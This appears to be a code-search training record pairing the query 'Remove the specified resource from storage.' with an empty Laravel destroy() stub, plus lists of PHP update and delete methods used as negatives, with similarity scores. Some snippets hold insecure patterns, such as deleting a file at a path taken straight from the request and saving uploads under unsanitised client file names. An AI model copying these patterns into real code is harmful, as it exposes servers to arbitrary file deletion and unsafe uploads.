"public function updateRelatedImage(Request $request, $id)\n {\n // Delete display image in Storage\n Validator::make($request->all(), ['photos' => \"required|file|image|mimes:jpg,png,jpeg|max:5000\"])->validate();\n\n\n if ($request->hasFile(\"photos\")) {\n\n $photo = ProductsPhoto::find($id);\n $imageName = $photo->photos;\n $exists = Storage::disk('local')->exists(\"public/product_images/\" . $photo->photos);\n\n //delete old image\n if ($exists) {\n Storage::delete('public/product_images/' . $imageName);\n }\n\n //upload new image\n $ext = $request->file('photos')->getClientOriginalExtension(); //jpg\n\n $request->photos->storeAs(\"public/product_images/\", $imageName);\n\n $arrayToUpdate = array('photos' => $imageName);\n DB::table('products_photos')->where('id', $id)->update($arrayToUpdate);\n\n return redirect()->route(\"adminDisplayRelatedImageForm\", ['id' => $photo->product_id]);\n } else {\n\n $error = \"NO Image was Selected\";\n return $error;\n }\n }",
"public function update(Request $request, $id)\n {\n $skill = Skill::findOrFail($id);\n\n $skill->skill = $request->skill;\n\n if ($request->hasFile('image')) {\n \\Cloudder::upload($request->file('image'));\n $c=\\Cloudder::getResult();\n // $image = $request->file('image');\n // $filename = time() . '.' . $image->getClientOriginalExtension();\n // $location = public_path('images/' . $filename);\n // Image::make($image)->save($location);\n\n $skill->image = $c['url'];\n }\n\n $skill->save();\n\n Session::flash('success', 'Successsfully updated your skill!');\n return redirect()->route('skills.index');\n }",
"public function updateStream($path, $resource, Config $config = null)\n {\n $contents = stream_get_contents($resource);\n\n return $this->write($path, $contents, $config);\n }",
"public abstract function update($object);",
"public static function update($id, $file)\n {\n Image::delete($id);\n\n Image::save($file);\n }",
"public function update(Request $request, $id)\n {\n $product = Product::find($id);\n $image = $product->image;\n if($request->hasFile('image')){\n $image = $request->file('image')->store('files');\n \\Storage::delete($product->image);\n } \n $product->name = $request->get('name');\n $product->price = $request->get('price');\n $product->description = $request->get('description');\n $product->additional_info = $request->get('additional_info');\n $product->category_id = $request->get('category');\n $product->subcategory_id = $request->get('subcategory');\n $product->image = $image;\n $product->save();\n return redirect()->back();\n }",
"public function update(Request $request, $id)\n {\n $sli=Slider::find($id);\n $sli->sort_order=$request->input('sort_order');\n $image = $request->file('slider');\n if($image == ''){\n $image = $sli->slider;\n }else{\n $image = base64_encode(file_get_contents($request->file('slider')));\n }\n $sli->slider = $image;\n $sli->save();\n return redirect()->back();\n }",
"public function update(ProductRequest $request, $id)\n {\n $input = Product::find($id);\n $data = $request->all();\n if ($file = $request->file('product_photo')){\n $name = time().$file->getClientOriginalName();\n $file->move('product_image',$name);\n $data['product_photo']=$name;\n// $input->update($data);\n }\n $input->update($data);\n return redirect('admin/products/');\n }",
"public function update(Request $request, $id)\n {\n $volume = $this->findVolume($id);\n\n if(count($volume) > 0) {\n $volume->str_volume_name = $request->str_volume_name;\n\n $volume->save();\n }\n\n return response()\n ->json(\n array(\n 'message' => 'Volume is successfully updated.',\n 'volume' => $volume\n ),\n 201\n );\n }",
"public function update(Request $request, $id)\n {\n $product = ProductModel::find($id);\n $product->name = $request->name;\n $product->description = $request->description;\n $product->price = $request->price;\n $product->stock = $request->stock;\n\n if($request->image!=null){\n $imageName = time().'.'.$request->image->extension();\n $request->image->move(public_path('images'), $imageName);\n $product->image = \"/images/\".$imageName;\n }\n $product->save();\n return redirect(\"/products/index\")->with('success','Product has been updated');\n }",
"public function update()\n {\n $accessory = Accessories::find(request('id'));\n\n if ($accessory == null) {\n return response()->json([\"error\" => \"aksesuaras nerastas\"], 404);\n }\n\n $this->validateData();\n $path = $accessory->src;\n\n if (request()->hasFile('src')) {\n\n if (Storage::disk('public')->exists($accessory->src)) {\n Storage::disk('public')->delete($accessory->src);\n }\n $path = request()->file('src')->store('accessoriesImages', 'public');\n }\n\n $accessory->update(array_merge($this->validateData(), ['src' => $path]));\n\n return response()->json([\"data\" => $accessory], 200);\n }",
"public function update(ProductStoreRequest $request,$id)\n {\n $data = $request->validated();\n $product = Product::where('id',$id);\n $product->update($data);\n return response(\"Producto actualizado con éxito\",200);\n }",
"public function update($entity)\n {\n \n }",
"public function updateStream($path, $resource, Config $config)\n {\n return $this->write($path,stream_get_contents($resource),$config);\n }",
"public function update($id, Request $request)\n {\n date_default_timezone_set('Asia/Taipei');\n $data = $request->all();\n $dbData = Product::find($id);\n $myfile = Storage::disk('local');\n if ($request->hasFile('img')) {\n $file = $request->file('img');\n $path = $myfile->putFile('public', $file);\n $data['img'] = $myfile->url($path);\n File::delete(public_path($dbData->img));\n }\n $dbData->update($data);\n\n if ($request->hasFile('imgs')) {\n // $this->fetchDestroyByProdId($id);\n $localS = Storage::disk('local');\n\n $fileS = $request->file('imgs');\n $imgs = [];\n foreach ($fileS as $i) {\n $pathS = $localS->putFile('public', $i);\n $imgs[] = $localS->url($pathS);\n }\n foreach ($imgs as $img) {\n ProductImg::create([\n 'product_id' => $id,\n 'img' => $img\n ]);\n }\n }\n\n return redirect()->route('admin');\n }",
"public function update(Request $request, Product $product)\n { $remfile= $product->image;\n if($request->filep){\n $product->image=$request->filep;\n File::delete(storage_path('app/public/products/'.$remfile));\n }else{\n $product->image=$remfile;\n }\n //rmdir(storage_path('app/public/products/'.$remfile));\n $product->name = $request->name;\n $product->description = $request->description;\n $product->price = $request->price;\n $product->save();\n sleep(3);\n toast('Details updated successfully','info');\n return redirect('/products');\n }",
"public function update($id, $input);",
"public function update(ProductRequest $request,int $id): ProductResource\n {\n $attributes = $request->only('supplier_id', 'name', 'warehouses');\n\n return new ProductResource($this->productRepository->update($id, $attributes)); }",
"public function update(Request $request, $id)\n {\n $slider=new Slider;\n $slider=$slider::find($id);\n \n \n if($file =$request->file('slider')){\n if(Storage::delete('public/slider/'.$slider->slider)){\n\n //Get file original name//\n \n$original_name=$file->getClientOriginalName();\n\n //Get just the file name\n$filename=pathinfo($original_name,PATHINFO_FILENAME);\n\n//Create new file name\n$name=$filename.'_'.time().'.'.$file->getClientOriginalExtension();\n\n $destination='public/slider';\n $path=$request->slider->storeAs($destination,$name);\n $slider->slider=$name;\n $slider->save();\n return redirect('Admin/slider');\n\n }\n }\n}",
"public function update(Request $request, $id)\n {/* dd($request->all()); */\n $acheivePic = $this->acheiveRepo->find($id);\n $acheive = $request->except('_method', '_token', 'photo', 'ar', 'en');\n $acheiveTrans = $request->only('ar', 'en');\n\n if ($request->hasFile('icon')) {\n // Delete old image first.\n $oldPic = public_path() . '/images/acheives/' . $acheivePic->icon;\n File::delete($oldPic);\n\n // Save the new one.\n $image = $request->file('icon');\n $imageName = $this->upload($image, 'acheives');\n $acheive['icon'] = $imageName;\n }\n\n $this->acheiveRepo->update($id, $acheive, $acheiveTrans);\n\n return redirect('admin-panel/widgets/acheive')->with('updated', 'updated');\n }",
"public function update(Request $request, $id)\n {\n $data = $request->all();\n extract($data);\n\n $productVarient = new ProductVariant();\n $productVarient = $productVarient->find($id);\n $productVarient->vendor_id = auth()->user()->id;\n $productVarient->description = $prod_desc;\n $productVarient->price = $price;\n\n if(request()->hasFile('photo')){\n $image = request()->file('photo')->getClientOriginalName();\n $imageNewName = auth()->user()->id.'-'.$image;\n $file = request()->file('photo');\n $file->storeAs('images/product',$imageNewName, ['disk' => 'public']);\n $productVarient->image = $imageNewName;\n }\n \n $productVarient->save();\n\n return back()->withStatus(__('Product successfully updated.'));\n }",
"public function update(Request $request, $id)\n {\n //if upload new image, delete old image\n $myfile=$request->old_photo;\n if($request->hasfile('photo'))\n {\n $imageName=time().'.'.$request->photo->extension();\n $name=$request->old_photo;\n\n if(file_exists(public_path($name))){\n unlink(public_path($name));\n $request->photo->move(public_path('backendtemplate/truefalseimg'),$imageName);\n $myfile='backendtemplate/truefalseimg/'.$imageName;\n }\n }\n //Update Data\n $truefalsequestion=TrueFalseQuestion::find($id);\n $truefalsequestion->name=$request->name;\n $truefalsequestion->photo=$myfile;\n $truefalsequestion->answer = $request->answer;\n $truefalsequestion->question_id = $request->question;\n $truefalsequestion->save();\n\n //Redirect\n return redirect()->route('truefalsequestions.index'); \n }",
"public function update($id);",
"public function update($id);",
"private function update()\n {\n $this->data = $this->updateData($this->data, $this->actions);\n $this->actions = [];\n }",
"public function put($path, $data = null);",
"public function update(Request $request, $id)\n {\n $request->validate([\n 'path_image'=>'image',\n 'status'=>'required|in:0,1'\n ]);\n $slider=Slider::whereId($id)->first();\n if (is_null($slider)){\n return redirect()->route('sliders.index')->with('error','Slider does not exist');\n }\n try {\n if ($request->hasFile('path_image')){\n $file = $request->file('path_image');\n\n $image_path= $file->store('/sliders',[\n 'disk'=>'uploads'\n ]);\n Storage::disk('uploads')->delete($slider->image);\n\n $request->merge([\n 'image'=>$image_path,\n ]);\n }\n\n $slider->update( $request->only(['status','image']));\n return redirect()->route('sliders.index')->with('success','Updated successful');\n }catch (\\Exception $exception){\n return redirect()->route('sliders.index')->with(['error'=>'Something error try again']);\n\n }\n }",
"public function update() {\n $this->accessory->update($this->accessory_params());\n\n if ($this->accessory->is_valid()) {\n $this->update_accessory_image($this->accessory);\n redirect('/backend/accessories', ['notice' => 'Successfully updated.']);\n } else {\n redirect(\n '/backend/accessories/edit',\n ['error' => $this->accessory->errors_as_string()],\n ['id' => $this->accessory->id]\n );\n }\n }",
"public function update(Entity $entity);",
"public function update(Request $request, $id)\n {\n $icon = SliderIcon::find($id);\n $data = $request->all();\n $data['active'] = $request->has('active') ? 1 : 0;\n if ($request->hasFile('img')) {\n if (Storage::disk('public')->exists(str_replace('storage', '', $icon->img))){\n Storage::disk('public')->delete(str_replace('storage', '', $icon->img));\n }\n $image = $request->file('img');\n $fileName = time().'_'.Str::lower(Str::random(5)).'.'.$image->getClientOriginalExtension();\n $path_to = '/upload/images/'.getfolderName();\n $image->storeAs('public'.$path_to, $fileName);\n $data['img'] = 'storage'.$path_to.'/'.$fileName;\n }\n $icon->update($data);\n return redirect()->route('slider_icons.index')->with('success', 'Данные преимущества обнавлены');\n }",
"public function update() {\n\t $this->layout = false;\n\t \n\t //set default response\n\t $response = array('status'=>'failed', 'message'=>'HTTP method not allowed');\n\t \n\t //check if HTTP method is PUT\n\t if($this->request->is('put')){\n\t //get data from request object\n\t $data = $this->request->input('json_decode', true);\n\t if (empty($data)) {\n\t $data = $this->request->data;\n\t }\n\t \n\t //check if product ID was provided\n\t if (!empty($data['id'])) {\n\t \n\t //set the product ID to update\n\t $this->Player->id = $data['id'];\n\t if ($this->Player->save($data)) {\n\t $response = array('status'=>'success','message'=>'Product successfully updated');\n\t } else {\n\t $response['message'] = \"Failed to update product\";\n\t }\n\t } else {\n\t $response['message'] = 'Please provide product ID';\n\t }\n\t }\n\t \n\t $this->response->type('application/json');\n\t $this->response->body(json_encode($response));\n\n\t return $this->response->send();\n\t}",
"public function update(Request $request, $id)\n {\n //validate incoming request\n $request->validate([\n 'name' => 'string|max:100|nullable',\n 'picture' => 'max:2000|mimes:jpeg,jpg,png,svg|nullable', //max size 2mb,\n 'total' => 'integer|min:0|nullable', //value must be > 0\n 'selling_price' => 'numeric|min:0|nullable',\n 'cost_price' => 'numeric|min:0|nullable',\n 'category_id' => 'integer|nullable'\n ]);\n\n try {\n $product = Auth::user()->store->product()->findorFail($id);\n } catch (ModelNotFoundException $e) {\n return response()->json([\n \"message\" => \"Forbidden\"\n ], 403);\n }\n\n //if category id isnt null\n if ($category_id = $request->category_id) {\n if (!$this->isCategoryIdValid($category_id))\n return response()->json([\n \"message\" => \"Category Id is not valid\"\n ], 422);\n else\n $product->category_id = $request->category_id;\n }\n\n //if uploaded file exist\n if ($picture = $request->file(\"picture\")) {\n //if product already has logo\n if ($product->picture)\n Storage::delete(Product::$PICTURE_PATH . \"/\" . $product->picture);\n\n $picture_path = $picture->store(Product::$PICTURE_PATH);\n //remove folder name from path\n $product->picture = str_replace(Product::$PICTURE_PATH . \"/\", '', $picture_path);\n }\n\n $this->renewProduct($product, $request);\n $product->save();\n return response()->json(new ProductResource($product), 200);\n }",
"public function update(Request $request, $id)\n {\n $request->validate([\n 'name' => 'required | min:3 | string',\n 'type' => 'required',\n 'producer' => 'required',\n 'image' => 'image | mimes:png,jpg,jpeg',\n 'price_input' => 'required | numeric | min:0 | max:300000000',\n 'promotion_price' => 'required | numeric | max:300000000',\n 'description' => 'required | string',\n\n ]);\n $product = Product::withTrashed()->findOrfail($id);\n $product->name = $request->name;\n $product->id_type = $request->type;\n $product->id_producer = $request->producer;\n\n $product->amount = $request->amount;\n if (request('image')) {\n $product->image = base64_encode(file_get_contents($request->file('image')->getRealPath()));\n }\n\n $product->price_input = $request->price_input;\n\n if ( $request->promotion_price >= 0 && $request->promotion_price < $product->price_input) {\n $product->promotion_price = $request->promotion_price;\n }else{\n return back()->with('error', '\n Do not enter a negative number');\n }\n $product->new = $request->new;\n\n $product->description = $request->description;\n\n $product->save();\n $product->size()->sync(request('size'));\n\n return redirect()->route('product.index')->with('success', 'Product Updated successfully');\n }",
"public function update(Request $request, $id)\n {\n $product = Product::find($id);\n\n $product->name = $request->input('name');\n $product->description = $request->input('description');\n $product->lastPrice = $product->price !== $request->input('price') ? $product->price : NULL;\n $product->price = $request->input('price');\n\n if ($request->hasFile('image')) { \n $currentImg = $product->image;\n if ($currentImg) {\n Storage::delete('/public/' . $currentImg);\n }\n $image = $request->file('image'); \n $path = $image->store('images','public');\n $product->image = $path;\n };\n\n $product->save(); \n\n $product_promotions = $request->input('promotion');\n\n $product->promotions()->sync($product_promotions);\n\n return redirect()->route('admin.modify');\n }",
"public static function updateImage($fileName, $imageId, $storage)\n {\n //Get image name and storage location for image\n $image = Image::where('id', '=', $imageId)->first();\n\n //Delete old image\n ResourceHandler::delete($image->name, $image->storage);\n\n //Store the new image\n $image->name = $fileName;\n $image->storage = $storage;\n\n $image->save();\n }",
"public function update($request, $id)\n {\n $this->checkExits($id);\n $data = $request->except(['_method','_token','photo']);\n\n if($request->photo)\n {\n try {\n $this->UploadFile($request);\n } catch (\\Exception $e) {\n //if has exception , don't has action\n }\n if ($this->img !== '') {\n $data['img'] = $this->img;\n }\n }\n\n $this->object->update($data);\n\n }",
"public function updateProduct($request, $product)\n {\n $product->update($request->except(['_token', '_method', 'image']));\n if ($request->hasFile('image')) {\n $image = $request->file('image');\n $imageName = time() . '.' . $request->file('image')->extension();\n // $img = Image::make('public/foo.jpg');\n\n $image_resize = Image::make($image->getRealPath());\n $image_resize->resize(500, 500);\n $image_resize->save(public_path('images/') . $imageName, 100);\n $product->gallery = $imageName;\n $product->save();\n }\n $product->getTags()->sync($request->input('tags'));\n }"
]
| [
"0.7425105",
"0.70612276",
"0.70558053",
"0.6896673",
"0.6582159",
"0.64491373",
"0.6346954",
"0.62114537",
"0.6145042",
"0.6119944",
"0.61128503",
"0.6099993",
"0.6087866",
"0.6052593",
"0.6018941",
"0.60060275",
"0.59715486",
"0.5946516",
"0.59400934",
"0.59377414",
"0.5890722",
"0.5860816",
"0.5855127",
"0.5855127",
"0.58513457",
"0.5815068",
"0.5806887",
"0.57525045",
"0.57525045",
"0.57337505",
"0.5723295",
"0.5714311",
"0.5694472",
"0.5691319",
"0.56879413",
"0.5669989",
"0.56565005",
"0.56505877",
"0.5646085",
"0.5636683",
"0.5633498",
"0.5633378",
"0.5632906",
"0.5628826",
"0.56196684",
"0.5609126",
"0.5601397",
"0.55944353",
"0.5582592",
"0.5581908",
"0.55813426",
"0.5575312",
"0.55717176",
"0.55661047",
"0.55624634",
"0.55614686",
"0.55608666",
"0.55599797",
"0.55599797",
"0.55599797",
"0.55599797",
"0.55599797",
"0.55573726",
"0.5556878",
"0.5554201",
"0.5553069",
"0.55530256",
"0.5543788",
"0.55435944",
"0.55412996",
"0.55393505",
"0.55368495",
"0.5535236",
"0.5534954",
"0.55237365",
"0.5520468",
"0.55163723",
"0.55125296",
"0.5511168",
"0.5508345",
"0.55072427",
"0.5502385",
"0.5502337",
"0.5501029",
"0.54995877",
"0.54979175",
"0.54949397",
"0.54949397",
"0.54946727",
"0.5494196",
"0.54941916",
"0.54925025",
"0.5491807",
"0.5483321",
"0.5479606",
"0.5479408",
"0.5478678",
"0.54667485",
"0.5463411",
"0.5460588",
"0.5458525"
]
| 0.0 | -1 |
Remove the specified resource from storage. | public function destroy($id)
{
//
} | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"public function delete($resource){\n return $this->fetch($resource, self::DELETE);\n }",
"public function destroy(Resource $resource)\n {\n //\n }",
"public function removeResource($resourceID)\n\t\t{\n\t\t}",
"public function unpublishResource(PersistentResource $resource)\n {\n $client = $this->getClient($this->name, $this->options);\n try {\n $client->delete(Path::fromString($this->getRelativePublicationPathAndFilename($resource)));\n } catch (FileDoesNotExistsException $exception) {\n }\n }",
"public function deleteResource(&$resource) {\n\n if ($this->connector != null) {\n $this->logger->addDebug(\"Deleting Resource Node from Neo4J database\");\n $result = $this->connector->run(\"MATCH (a:Resource {id: {id}}) detach delete a;\",\n [\n 'id' => $resource->getID()\n ]\n );\n $this->logger->addDebug(\"Updated neo4j to remove resource\");\n }\n\n }",
"public function deleteShopifyResource() {\n $this->getShopifyApi()->call([\n 'URL' => API::PREFIX . $this->getApiPathSingleResource(),\n 'METHOD' => 'DELETE',\n ]);\n }",
"public function deleteResource()\n {\n $database = new Database();\n $id = $this->_params['id'];\n $database->deleteResource($id);\n $this->_f3->reroute('/Admin');\n }",
"protected function deleteResource($fileName, $storage)\n {\n if (Storage::disk($storage)->exists($fileName)) \n {\n return Storage::disk($storage)->delete($fileName);\n }\n }",
"public function delete()\n {\n persistableCollection::getInstance($this->resourceName)->deleteObject($this);\n }",
"public function remove()\n {\n $this->_getBackend()->remove($this->_id);\n }",
"public function remove()\n {\n if (! ftruncate($this->fileHandle, 0)) {\n throw new StorageException(\"Could not truncate $this->path\");\n }\n if (! unlink($this->path)) {\n throw new StorageException(\"Could not delete $this->path\");\n }\n }",
"public function delete()\n\t{\n\t\t$s3 = AWS::createClient('s3');\n $s3->deleteObject(\n array(\n 'Bucket' => $this->bucket,\n 'Key' => $this->location\n )\n );\n\t\tif($this->local_file && file_exists($this->local_file)) {\n\t\t\tunlink($this->local_file);\n\t\t}\n $this->local_file = null;\n\t}",
"public function delete()\n\t{\n\t\tsfCore::db->query(\"DELETE FROM `swoosh_file_storage` WHERE `id`='%i';\", $this->id);\n\t\t$this->fFile->delete();\n\t}",
"public function delete(): void\n {\n unlink($this->getPath());\n }",
"public function delete()\n {\n if($this->exists())\n unlink($this->getPath());\n }",
"public function remove($path);",
"function deleteFileFromStorage($path)\n{\n unlink(public_path($path));\n}",
"public function delete(): void\n {\n unlink($this->path);\n }",
"private function destroyResource(DrydockResource $resource) {\n $blueprint = $resource->getBlueprint();\n $blueprint->destroyResource($resource);\n\n $resource\n ->setStatus(DrydockResourceStatus::STATUS_DESTROYED)\n ->save();\n }",
"public static function delete($fileName, $storage)\n {\n if (Storage::disk($storage)->exists($fileName)) \n {\n return Storage::disk($storage)->delete($fileName);\n }\n }",
"public function remove() {}",
"public function remove() {}",
"public function remove();",
"public function remove();",
"public function remove();",
"public function remove();",
"function delete_resource($resource_id, $page)\n\t{\n\t\t//get resource data\n\t\t$table = \"resource\";\n\t\t$where = \"resource_id = \".$resource_id;\n\t\t\n\t\t$this->db->where($where);\n\t\t$resource_query = $this->db->get($table);\n\t\t$resource_row = $resource_query->row();\n\t\t$resource_path = $this->resource_path;\n\t\t\n\t\t$image_name = $resource_row->resource_image_name;\n\t\t\n\t\t//delete any other uploaded image\n\t\t$this->file_model->delete_file($resource_path.\"\\\\\".$image_name, $this->resource_path);\n\t\t\n\t\t//delete any other uploaded thumbnail\n\t\t$this->file_model->delete_file($resource_path.\"\\\\thumbnail_\".$image_name, $this->resource_path);\n\t\t\n\t\tif($this->resource_model->delete_resource($resource_id))\n\t\t{\n\t\t\t$this->session->set_userdata('success_message', 'resource has been deleted');\n\t\t}\n\t\t\n\t\telse\n\t\t{\n\t\t\t$this->session->set_userdata('error_message', 'resource could not be deleted');\n\t\t}\n\t\tredirect('resource/'.$page);\n\t}",
"public function deleteImage(){\n\n\n Storage::delete($this->image);\n }",
"public function del(string $resource): bool|string\n {\n $json = false;\n $fs = unserialize($_SESSION['rfe'][$this->getRoot()], ['allowed_classes' => false]);\n if (array_key_exists($resource, $fs)) {\n // if $item has children, delete all children too\n if (array_key_exists('dir', $fs[$resource])) {\n foreach ($fs as $key => $file) {\n if (isset($file['parId']) && $file['parId'] == $resource) {\n unset($fs[$key]);\n }\n }\n }\n unset($fs[$resource]);\n $_SESSION['rfe'][$this->getRoot()] = serialize($fs);\n $json = '[{\"msg\": \"item deleted\"}]';\n }\n return $json;\n }",
"public function destroy()\n\t{\n\t\treturn unlink(self::filepath($this->name));\n\t}",
"public function destroy($id) {\n $book = Book::find($id);\n // return unlink(storage_path(\"public/featured_images/\".$book->featured_image));\n Storage::delete(\"public/featured_images/\" . $book->featured_image);\n if ($book->delete()) {\n return $book;\n }\n\n }",
"public function destroy($id)\n {\n Storageplace::findOrFail($id)->delete();\n }",
"public function destroyResourceImage(): void\n\t{\n\t\tif (isset($this->image)) {\n\t\t\t@imagedestroy($this->image->getImageResource());\n\t\t}\n\t}",
"public function deleteResource(PersistentResource $resource)\n {\n $pathAndFilename = $this->getStoragePathAndFilenameByHash($resource->getSha1());\n if (!file_exists($pathAndFilename)) {\n return true;\n }\n if (unlink($pathAndFilename) === false) {\n return false;\n }\n Files::removeEmptyDirectoriesOnPath(dirname($pathAndFilename));\n return true;\n }",
"public function deleteImage(){\n \tStorage::delete($this->image);\n }",
"public function destroy()\n {\n $file=public_path(config('larapages.media.folder')).Input::all()['folder'].'/'.Input::all()['file'];\n if (!file_exists($file)) die('File not found '.$file);\n unlink($file);\n }",
"public function delete() \r\n {\r\n if($this->exists())\r\n {\r\n unlink($this->fullName());\r\n }\r\n }",
"public function destroy($id)\n {\n Myfile::find($id)->delete();\n }",
"public function destroy($delete = false)\n {\n if (null !== $this->resource) {\n $this->resource->clear();\n $this->resource->destroy();\n }\n\n $this->resource = null;\n clearstatcache();\n\n // If the $delete flag is passed, delete the image file.\n if (($delete) && file_exists($this->name)) {\n unlink($this->name);\n }\n }",
"public static function delete($path){\r\n $currentDir = getcwd();\r\n $storageSubPath = \"/../../\".STORAGE_PATH;\r\n $file = $currentDir . $storageSubPath . '/' . $path;\r\n\r\n unlink($file);\r\n }",
"public function destroy(Storage $storage)\n {\n return redirect()->route('storages.index');\n }",
"public function remove() {\n //Check if there are thumbs and delete files and db\n foreach ($this->thumbs()->get() as $thumb) {\n $thumb->remove();\n } \n //Delete the attachable itself only if is not default\n if (strpos($this->url, '/defaults/') === false) {\n Storage::disk('public')->delete($this->getPath());\n }\n parent::delete(); //Remove db record\n }",
"public function removeFile($uri){\n return Storage::disk('public')->delete($uri);\n }",
"public function destroy(Resource $resource)\n {\n if( $resource->delete() ){\n return Response(['status'=>'success','message'=>'Resource deleted']); \n } else {\n return Response(['status'=>'error', 'message'=>'Something went wrong']);\n }\n }",
"public function delete($path);",
"public function delete($path);",
"public function destroy($id)\n { \n File::find($id)->remove();\n \n return redirect()->route('files.index');\n }",
"public function destroy($id)\n {\n $supplier = Supplier::find($id);\n $photo = $supplier->photo;\n if ($photo) {\n unlink($photo);\n }\n $supplier->delete();\n }",
"public function destroy($id)\n {\n $student = Student::where('id', $id)->first();\n // $path = $student->image;\n unlink($student->image);\n Student::findOrFail($id)->delete();\n return response('Deleted!');\n }",
"public function destroy($id)\n {\n $icon = SliderIcon::find($id);\n if (Storage::disk('public')->exists(str_replace('storage', '', $icon->img))){\n Storage::disk('public')->delete(str_replace('storage', '', $icon->img));\n }\n $icon->delete();\n return redirect()->route('slider_icons.index')->with('success', 'Данные преимущества удалёны');\n }",
"public function delete($path, $data = null);",
"public function destroy($id)\n {\n $items=Items::find($id);\n // delete old file\n if ($items->photo) {\n $str=$items->photo;\n $pos = strpos($str,'/',1);\n $str = substr($str, $pos);\n $oldFile = storage_path('app\\public').$str;\n File::Delete($oldFile); \n }\n $items->delete();\n return redirect()->route('items.index');\n }",
"public function destroy($id)\n {\n $carousel = Carousel::find($id);\n $image = $carousel->image;\n\n $basename ='img/carousel/' . basename($image);\n //Delete the file from disk\n if(file_exists($basename)){\n unlink($basename);\n }\n //With softDeletes, this is the way to permanently delete a record\n $carousel->delete();\n Session::flash('success','Product deleted permanently');\n return redirect()->back();\n }",
"public function remove()\n {\n $fs = new Filesystem();\n $fs->remove($this->dir());\n }",
"public static function destroy(int $resource_id)\n {\n try {\n $image_data = ListingImage::where('id', $resource_id)->first();\n self::delete_image($image_data->name);\n $delete = ListingImage::where('id', $resource_id)->delete();\n\n // activity()\n // ->causedBy(Auth::user()->id)\n // ->performedOn($delete)\n // ->withProperties(['id' => $delete->id])\n // ->log('listing image deleted');\n return response()->json(['status'=> 'ok', 'msg'=> 'Data deleted successfully']);\n } catch (Exception $e) {\n $e->getMessage();\n }\n }",
"public function destroy(Storage $storage)\n {\n $this->storage->destroy($storage);\n\n return redirect()->route('admin.product.storage.index')\n ->withSuccess(trans('core::core.messages.resource deleted', ['name' => trans('product::storages.title.storages')]));\n }",
"public function del($path){\n\t\treturn $this->remove($path);\n\t}",
"public function destroy($id)\n {\n //\n $product = Product::findOrFail($id);\n $product->delete();\n if($product->img != 'product-default.png'){\n Storage::delete(\"public/uploads/\".$product->img);\n // return 'deleted';\n }\n return redirect()->route('product.index'); \n }",
"public function removeUpload()\n{\n if ($file = $this->getAbsolutePath()) {\n unlink($file); \n }\n}",
"public function destroy($id)\n {\n $image = Images::withTrashed()->find($id);\n\n Storage::disk('uploads')->delete(\"social-media/$image->filename\");\n\n $image->tags()->detach();\n $image->detachMedia(config('constants.media_tags'));\n $image->forceDelete();\n\n return redirect()->back()->with('success', 'The image was successfully deleted');\n }",
"public function destroyByResourceId($resource_id)\n {\n// $online_party = $this->onlinetrack->where('resource_id', $resource_id)->get()->first();\n// $online_party->status = \"offline\";\n// $online_party->save();\n// return $online_party;\n return $this->onlinetrack->where('resource_id', $resource_id)->delete();\n }",
"public function revoke($resource, $permission = null);",
"public function destroy($id)\n {\n $data=Image::find($id);\n $image = $data->img;\n\n\n $filepath= public_path('images/');\n $imagepath = $filepath.$image;\n\n //dd($old_image);\n if (file_exists($imagepath)) {\n @unlink($imagepath);\n }\n\n\n $data->delete();\n\n return redirect()->route('image.index');\n }",
"function delete($path);",
"public function removeItem(int $id)\n\t{\n\t\t$this->storage->remove($id);\n\t}",
"public function destroy(File $file)\n {\n //\n $v = Storage::delete($file->path);\n \n }",
"public function destroyResource($resource)\n {\n if (!is_object($resource)) {\n return false;\n }\n\n $resource_type = get_class($resource);\n $resource_id = $resource->getKey();\n\n return Role::where('resource_type', $resource_type)\n ->where('resource_id', $resource_id)\n ->delete();\n }",
"public function remove($filePath){\n return Storage::delete($filePath);\n }",
"public function remove(): void\n {\n $file = $this->getAbsolutePath();\n if (!is_file($file) || !file_exists($file)) {\n return;\n }\n\n unlink($file);\n }",
"public function destroy(Request $request, Storage $storage)\n {\n $storage->delete();\n $request->session()->flash('alert-success', 'Запись успешно удалена!');\n return redirect()->route('storage.index');\n }",
"public function remove(Storable $entity): Storable\n {\n $this->getRepository(get_class($entity))->remove($entity);\n $this->detach($entity);\n\n return $entity;\n }",
"public function processDeletedResource(EntityResource $resource)\n {\n /** @var AuthorizationRepository $repository */\n $repository = $this->entityManager->getRepository('Edweld\\AclBundle\\Entity\\Authorization');\n\n $repository->removeAuthorizationsForResource($resource);\n }",
"function _unlink($resource, $exp_time = null)\n {\n if(file_exists($resource)) {\n return parent::_unlink($resource, $exp_time);\n }\n\n // file wasn't found, so it must be gone.\n return true;\n }",
"public function remove($id);",
"public function remove($id);",
"public function deleted(Storage $storage)\n {\n //\n }",
"public function destroy($id)\n {\n $data = Product::findOrFail($id);\n\n if(file_exists('uploads/product/'.$data->image1)){\n unlink('uploads/product/'.$data->image1);\n }\n\n if(file_exists('uploads/product/'.$data->image2)){\n unlink('uploads/product/'.$data->image2);\n }\n\n if(file_exists('uploads/product/'.$data->image3)){\n unlink('uploads/product/'.$data->image3);\n }\n $data->delete();\n }",
"public function removeUpload()\n {\n $file = $this->getAbsolutePath();\n if ($file) {\n unlink($file);\n }\n }",
"public function resources_delete($resource_id, Request $request) {\n if ($resource_id) {\n $resp = Resources::where('id', '=', $resource_id)->delete();\n if($resp){\n $msg = 'Resource has been deleted successfully.';\n $request->session()->flash('message', $msg);\n }\n }\n //return redirect()->route('admin-factor-list');\n return redirect()->to($_SERVER['HTTP_REFERER']);\n }",
"public function delete()\n {\n try\n {\n $thumbnail = $this->getThumbnail();\n if($thumbnail)\n {\n $thumbnail->delete();\n }\n }\n catch(sfException $e){}\n \n // delete current file\n parent::delete();\n }",
"function deleteResource($uuid){\n $data = callAPI(\"DELETE\",\"/urest/v1/resource/\".$uuid);\n return $data;\n}",
"public function delete();",
"public function delete();",
"public function delete();",
"public function delete();",
"public function delete();",
"public function delete();",
"public function delete();",
"public function delete();",
"public function delete();",
"public function delete();",
"public function delete();",
"public function delete();",
"public function delete();",
"public function delete();",
"public function delete();",
"public function remove_resource($idproject){\n\t\t\n\t\t// Load model and try to get project data\n\t\t$this->load->model('Projects_model', 'projects');\n\t\t\n\t\t// Update\n\t\t$this->projects->save_project(array(\"ext\" => \"\", \"vzaar_idvideo\" => \"0\", \"vzaar_processed\" => \"0\"), $idproject);\n\t}",
"public function destroy($id){\n $file_data = Slider::findOrFail($id);\n File::delete(public_path('../storage/app/public/sliders/'.$file_data->path));\n $slider = Slider::destroy($id);\n return response()->json(null, 204);\n }",
"public function delete()\n\t{\n\t\t@unlink($this->get_filepath());\n\t\t@unlink($this->get_filepath(true));\n\t\tparent::delete();\n\t}",
